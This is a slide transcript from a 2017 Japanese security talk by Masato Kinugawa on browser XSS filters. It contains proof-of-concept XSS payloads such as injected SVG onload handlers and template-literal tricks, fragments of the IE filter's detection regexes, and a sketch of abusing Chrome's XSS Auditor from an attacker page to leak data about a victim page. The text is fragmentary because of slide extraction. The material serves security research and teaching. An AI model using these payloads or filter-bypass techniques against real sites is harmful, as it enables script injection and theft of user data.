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XSSフィルターの使い方/ Shibuya.XSS techtalk #9
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Masato Kinugawa
March 31, 2017
Technology
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3k
XSSフィルターの使い方/ Shibuya.XSS techtalk #9
2017/3/30 に行われた Shibuya.XSS techtalk #9 の発表資料です。
Masato Kinugawa
March 31, 2017
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Transcript
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https://example.com/?q="><svg+onload=alert(1)> <html> <body> <input value=""><svg #nload=alert#1#>"> </body> </html>
https://addons.mozilla.org/ja/firefox/addon/noscript/
HTTP/1.1 200 OK Date: Tue, 28 Mar 2017 06:16:00 GMT
Expires: -1 Cache-Control: private, max-age=0 Content-Type: text/html; charset=UTF-8 Server: gws X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN
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https://example.com/?q="><svg+onload=alert(1)> https://example.com/#5382863726995448701 <input value=""><svg #nload=alert#1#>"> <input value=""><svg onload=alert(1)>">
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<input value=""><svg #nload=alert#1#>"> <input value="<svg #nload=alert#1#>"> <!-- <svg #nload=alert(1)> -->
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<title><script> - Google 検索</title> <script>(function(){window.google={kEI: [...] https://www.google.co.jp/search?q=<script>
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</script> https://example.com/?<script src=//example.jp/jquery.js></script>
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|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(p|(&#x?0*((80)|(50)|(112)|(70));?))([\t]|(&((#x?0*(9|(13)|(10)| A|D);?)|(tab;)|(newline;))))*(t|(&#x?0*((84)|(54)|(116)|(74));?))([\t]|(&((#x?0*(9|(13)|(10)|A|D);?)|(ta b;)|(newline;))))*)?(:|(&((#x?0*((58)|(3A));?)|(colon;)))).} {<BUTTON[ /+\t].*?va{l}ue[ /+\t]*=} {<fo{r}m.*?>} {<OPTION[ /+\t].*?va{l}ue[ /+\t]*=} {<INPUT[ /+\t].*?va{l}ue[ /+\t]*=} [...] {<EM{B}ED[ /+\t].*?((src)|(type)).*?=} {[ /+\t\"\'`]{o}n\c\c\c+?[ +\t]*?=.} {<ME{T}A[ /+\t].*?((http-equiv)|(charset))[ /+\t]*=} [...] "><svg #nload=alert#1#>
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https://media.blackhat.com/bh-eu-10/presentations/Lindsay_Nava/BlackHat-EU- 2010-Lindsay-Nava-IE8-XSS-Filters-slides.pdf http://d.hatena.ne.jp/teracc/20090622
https://www.slideshare.net/masatokinugawa/xxn-ja
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url=location.search.slice(1); if(url^indexOf(":")!=-1){ url=null; } onload=function(){ if(url){location=url;} }
https://example.com/?q=";alert`1`// <script> q = "";alert`1`//"; </script> https://www.slideshare.net/x00mario/es6-en/34 ECMAScript 6 from
an Attacker's Perspective - Breaking Frameworks, Sandboxes, and everything else
https://example.com/?q=${alert(1)}``//&`+++` https://example.com/?q=[USER_INPUT] <script> foo=``; q="[USER_INPUT]"; </script> <script> foo=`#; q="${alert(1)}#`//"; </script>
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https://bugs.chromium.org/p/chromium/issues/detail?id=654794
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http://blog.portswigger.net/2015/08/abusing-chromes-xss-auditor-to-steal.html
https://VICTIM/ https://VICTIM/?<xss> IFRAME ERROR https://ATTACKER/ win=window.open(…) if(win.length == 0){ //
// }else{ // } <script>…</script>
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SAMEORIGIN
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google.ae google.as google.ca google.co google.co.in google.co.jp google.co.kr google.co.nz google.co.uk google.com.br
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✨ ✨ ✨
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